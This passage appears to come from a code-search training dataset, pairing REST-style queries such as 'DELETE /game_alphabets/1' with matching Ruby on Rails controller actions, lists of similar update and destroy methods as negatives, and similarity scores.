'Game was successfully updated.'\n @game.authorships.create_from_names(params[:authorship])\n format.html { redirect_to game_path(@game) }\n format.xml { head :ok }\n else\n @base_games = Game.base_games.find(:all)\n if !@game.authors\n @authors = []\n 3.times{@authors << Author.new}\n else\n @authors = @game.authors.find(:all)\n (3 - @authors.size).times{@authors << Author.new }\n end\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @game.errors.to_xml }\n end\n end\n end", "def update\n @game = Game.find_by_slug(params[:id])\n\t\t@game.tags = build_tags_from_params(params) if params[:commit] == 'Update Game'\n\n respond_to do |format|\n if @game.update_attributes(params[:game])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #if game exists, pass here to update state\n @game = Game.find_by(id: params[:id])\n @game.update(game_params)\n render json: @game, status: 201\n end", "def update\n @word = Word.find(params[:id])\n\n respond_to do |format|\n\n if @word.update_attributes(params[:word])\n format.json { head :no_content }\n else\n format.json { render :json => @word.errors,\n :status => :unprocessable_entity }\n end\n\n end\n end", "def update\n respond_to do |format|\n if @user_game.update(user_game_params)\n format.html { redirect_to @user_game, notice: 'User game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @user_game.update(user_game_params)\n format.html { redirect_to @user_game, notice: 'User game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user_game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @algorithm_name.update(algorithm_name_params)\n format.html { redirect_to @algorithm_name, notice: 'Algorithm name was successfully updated.' }\n format.json { render :show, status: :ok, location: @algorithm_name }\n else\n format.html { render :edit }\n format.json { render json: @algorithm_name.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @character.update(character_params)\n format.html { redirect_to @character, notice: 'Character was successfully updated.' }\n format.json { render :show, status: :ok, location: @character }\n else\n format.html { render :edit }\n format.json { render json: @character.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @character.update(character_params)\n format.html { redirect_to @character, notice: 'Character was successfully updated.' }\n format.json { render :show, status: :ok, location: @character }\n else\n format.html { render :edit }\n format.json { render json: @character.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @character.update(character_params)\n format.html { redirect_to @character, notice: 'Character was successfully updated.' }\n format.json { render :show, status: :ok, location: @character }\n else\n format.html { render :edit }\n format.json { render json: @character.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @character.update(character_params)\n format.html { redirect_to @character, notice: 'Character was successfully updated.' }\n format.json { render :show, status: :ok, location: @character }\n else\n format.html { render :edit }\n format.json { render json: @character.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @character.update(character_params)\n format.html { redirect_to @character, notice: 'Character was successfully updated.' }\n format.json { render :show, status: :ok, location: @character }\n else\n format.html { render :edit }\n format.json { render json: @character.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to games_url, notice: 'Game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game_title.update(game_title_params)\n format.html { redirect_to @game_title, notice: 'Game title was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game_title.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.65018547", "0.63964003", "0.6322317", "0.5881074", "0.58541435", "0.58275914", "0.581786", "0.57623035", "0.5753232", "0.57061666", "0.5646209", "0.5645754", "0.5602462", "0.55933595", "0.5565832", "0.55248165", "0.5502193", "0.54931694", "0.54881835", "0.54822016", "0.5480501", "0.54674155", "0.54673296", "0.5461073", "0.5448662", "0.5436745", "0.54212356", "0.54210114", "0.5398551", "0.53920597", "0.53920597", "0.5379416", "0.53763664", "0.5368315", "0.53667486", "0.53594303", "0.53587294", "0.5358396", "0.5358396", "0.5358396", "0.5358396", "0.5358396", "0.5358396", "0.5358396", "0.53478307", "0.53281546", "0.53263336", "0.5325485", "0.5323481", "0.5318339", "0.53152525", "0.5305243", "0.5305243", "0.5305243", "0.5300186", "0.5298673", "0.52929693", "0.52923316", "0.52908933", "0.5288433", "0.52783", "0.52763176", "0.5274016", "0.5271649", "0.52696437", "0.5265207", "0.52648646", "0.526375", "0.52626354", "0.5260123", "0.5255248", "0.52545035", "0.5243617", "0.52392834", "0.52388614", "0.52388614", "0.52387285", "0.5237474", "0.5237474", "0.5237474", "0.5237474", "0.5237474", "0.52360094", "0.5234013", "0.5233842", "0.52334", "0.52334", "0.52334", "0.52334", "0.52334", "0.52334", "0.52334", "0.52334", "0.52334", "0.52334", "0.52334", "0.52334", "0.52334", "0.52334", "0.52334" ]
0.707947
0
DELETE /game_alphabets/1 DELETE /game_alphabets/1.json
def destroy @game_alphabet.destroy respond_to do |format| format.html { redirect_to game_alphabets_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @alphabet.destroy\n respond_to do |format|\n format.html { redirect_to alphabets_url, notice: 'Alphabet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to @game }\n format.json { head :no_content }\n end\n end", "def destroy\n @letter = Letter.find(params[:id])\n @letter.destroy\n\n respond_to do |format|\n format.html { redirect_to letters_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @letter.destroy\n respond_to do |format|\n format.html { redirect_to rough_drafts_me_letters_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @game_title.destroy\n respond_to do |format|\n format.html { redirect_to game_titles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @chalie_vice_letter.destroy\n respond_to do |format|\n format.html { redirect_to chalie_vice_letters_url, notice: 'Letter was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @game_characters = GameCharacters.find(params[:id])\n @game_characters.destroy\n\n respond_to do |format|\n format.html { redirect_to(game_characters_url) }\n format.xml { head :ok }\n end\n end", "def delete_characters\n @db.execute(\"DROP TABLE Characters\")\n end", "def destroy\n @character_entry.destroy\n respond_to do |format|\n format.html { redirect_to character_entries_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to contest_games_path }\n format.json { head :no_content }\n end\n end", "def delete_utah\n $capitals.delete(:utah)\nend", "def destroy\n @game_level.destroy\n respond_to do |format|\n format.html { redirect_to game_levels_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: I18n.translate(\"success\", scope: %i[characters destroy]) }\n format.json { head :no_content }\n end\n end", "def destroy\n @keystroke = Keystroke.find(params[:id])\n @keystroke.destroy\n\n respond_to do |format|\n format.html { redirect_to keystrokes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game_set.destroy\n respond_to do |format|\n format.html { redirect_to game_sets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admingame = Game.find(params[:id])\n @admingame.destroy\n redirect_to '/adminCool'\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to organization_games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @character = Character.find(params[:id])\n @character.destroy\n\n respond_to do |format|\n format.html { redirect_to characters_url }\n format.json { head :ok }\n end\n end", "def destroy\n @qa_game.destroy\n respond_to do |format|\n format.html { redirect_to qa_games_url, notice: 'Qa game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n # @game = Game.find(params[:id])\n # @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to user_path(current_user) }\n format.json { head :no_content }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game.reset\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'La partie a bien été supprimée' }\n format.json { head :no_content }\n end\n end", "def destroy\n if @character.destroy\n head :no_content\n else\n render json: @character.errors, status: :unprocessable_entity\n end\n end", "def delete(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n @client.post({\n 'action' => 'del',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n end", "def destroy\n @character = current_user.characters.find(params[:id])\n @character.destroy\n\n respond_to do |format|\n format.html { redirect_to characters_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @howtoplaygame.destroy\n respond_to do |format|\n format.html { redirect_to howtoplaygames_url, notice: 'Howtoplaygame was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.get(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def destroy\n @esod_outgoing_letter.destroy\n respond_to do |format|\n format.html { redirect_to esod_outgoing_letters_url, notice: 'Outgoing letter was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to admin_users_path(@admin), notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to user_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_game.destroy\n respond_to do |format|\n format.html { redirect_to admin_games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'El juego ha sido correctamente eliminado.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_game_level.destroy\n respond_to do |format|\n format.html { redirect_to user_game_levels_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @league_game.destroy\n respond_to do |format|\n format.html { redirect_to league_games_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end", "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end", "def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_path }\n # format.json { head :no_content }\n end\n end", "def destroy\n @gameplay = Gameplay.find(params[:id])\n @gameplay.destroy\n\n respond_to do |format|\n format.html { redirect_to gameplays_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game_judge.destroy\n respond_to do |format|\n format.html { redirect_to game_judges_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @character.destroy\r\n respond_to do |format|\r\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @case_insensitive.destroy\n respond_to do |format|\n format.html { redirect_to case_insensitives_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if @character.destroy\n render json: {\n status: :deleted,\n character: @character\n }\n else\n render json: {\n status: 500,\n errors: @character.errors.full_messages\n }\n end\n end", "def destroy\n @word_praat.destroy\n respond_to do |format|\n format.html { redirect_to word_praats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @character.destroy\n\n respond_to do |format|\n format.html { redirect_to user_characters_url(current_user), notice: 'Character was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @collected_character = CollectedCharacter.find(params[:id])\n @collected_character.destroy\n\n respond_to do |format|\n format.html { redirect_to collected_characters_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game = current_user.games.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end", "def destroy\n authorize! :destroy, @game_type, :message => 'Not authorized as an administrator.'\n @game_type.destroy\n respond_to do |format|\n format.html { redirect_to game_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @character.destroy\n\n respond_to do |format|\n format.html { redirect_to(characters_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @game_info.destroy\n respond_to do |format|\n format.html { redirect_to game_infos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @letter_request.destroy\n respond_to do |format|\n format.html { redirect_to letter_requests_url, notice: 'Letter request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ambit.destroy\n respond_to do |format|\n format.html { redirect_to ambits_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @gameplay.destroy\n respond_to do |format|\n format.html { redirect_to gameplays_url, notice: 'Gameplay was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gamesofweek.destroy\n respond_to do |format|\n format.html { redirect_to gamesofweeks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @key_word_set = KeyWordSet.find(params[:id])\n @key_word_set.destroy\n\n respond_to do |format|\n format.html { redirect_to key_word_sets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @platformgame.destroy\n respond_to do |format|\n format.html { redirect_to platformgames_url, notice: 'Platformgame was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @english_entry = EnglishEntry.find(params[:id])\n @english_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to english_entries_url }\n format.json { head :ok }\n end\n end", "def destroy\n @languagename.destroy\n respond_to do |format|\n format.html { redirect_to languagenames_url, notice: 'Languagename was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @key_word = KeyWord.find(params[:id])\n @key_word.destroy\n\n respond_to do |format|\n format.html { redirect_to key_words_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @battle.destroy\n respond_to do |format|\n format.html { redirect_to battles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @battle.destroy\n respond_to do |format|\n format.html { redirect_to battles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @fundamental_character = Fundamental::Character.find(params[:id])\n @fundamental_character.destroy\n\n respond_to do |format|\n format.html { redirect_to fundamental_characters_url }\n format.json { head :ok }\n end\n end", "def destroy\n @game_mapping.destroy\n respond_to do |format|\n format.html { redirect_to game_mappings_url, notice: 'Game mapping was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @mgamedefinition = Mgamedefinition.find(params[:id])\n @mgamedefinition.destroy\n\n respond_to do |format|\n format.html { redirect_to mgamedefinitions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @paddle_game.destroy\n respond_to do |format|\n format.html { redirect_to paddle_games_url, notice: 'Paddle game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @anagram.destroy\n respond_to do |format|\n format.html { redirect_to anagrams_url, notice: 'Anagram was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @game_code = GameCode.find(params[:id])\n @game_code.destroy\n\n respond_to do |format|\n format.html { redirect_to game_codes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if gm_user?\n @game = Game.find(params[:game_id])\n @character = Character.find(params[:id])\n @character.destroy\n\n redirect_to game_characters_path(@game)\n else\n redirect_to '/'\n end\n end", "def destroy\n authorize! :update, @character\n @character.destroy\n respond_to do |format|\n format.html { redirect_to characters_url, notice: 'Character was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @espn_game.destroy\n respond_to do |format|\n format.html { redirect_to espn_games_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.68337625", "0.65308505", "0.6520827", "0.6441445", "0.64321023", "0.63990873", "0.6390668", "0.63752997", "0.63562566", "0.63177323", "0.62914115", "0.62773186", "0.62600774", "0.6230565", "0.6228064", "0.62231183", "0.62030023", "0.6192674", "0.61836994", "0.6176086", "0.61746544", "0.6160254", "0.61526823", "0.6144942", "0.6135348", "0.6135348", "0.6135348", "0.6135348", "0.6135348", "0.6135348", "0.6135348", "0.6131772", "0.6113144", "0.60925126", "0.60863113", "0.608501", "0.6083013", "0.60804266", "0.6080172", "0.6077735", "0.60699964", "0.60671145", "0.6064443", "0.6064443", "0.6064443", "0.6064443", "0.6064443", "0.6064443", "0.6064443", "0.6064443", "0.60622877", "0.60622877", "0.60622877", "0.60622877", "0.60622877", "0.60622877", "0.60622877", "0.60622877", "0.60622877", "0.60622877", "0.60622877", "0.60622877", "0.6058624", "0.60544646", "0.6049265", "0.6048473", "0.6048473", "0.60453564", "0.60446256", "0.60443753", "0.60399127", "0.60389256", "0.6038675", "0.60354406", "0.60242456", "0.60154945", "0.60071874", "0.6003957", "0.6002022", "0.599567", "0.59956276", "0.5993186", "0.599302", "0.5990408", "0.59899795", "0.59839046", "0.5983299", "0.5973459", "0.5968508", "0.59644353", "0.59644353", "0.59626263", "0.596192", "0.59614414", "0.59596777", "0.59579194", "0.595743", "0.5947043", "0.59470063", "0.5945283" ]
0.7739876
0
Use callbacks to share common setup or constraints between actions.
def set_game_alphabet @game_alphabet = GameAlphabet.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n 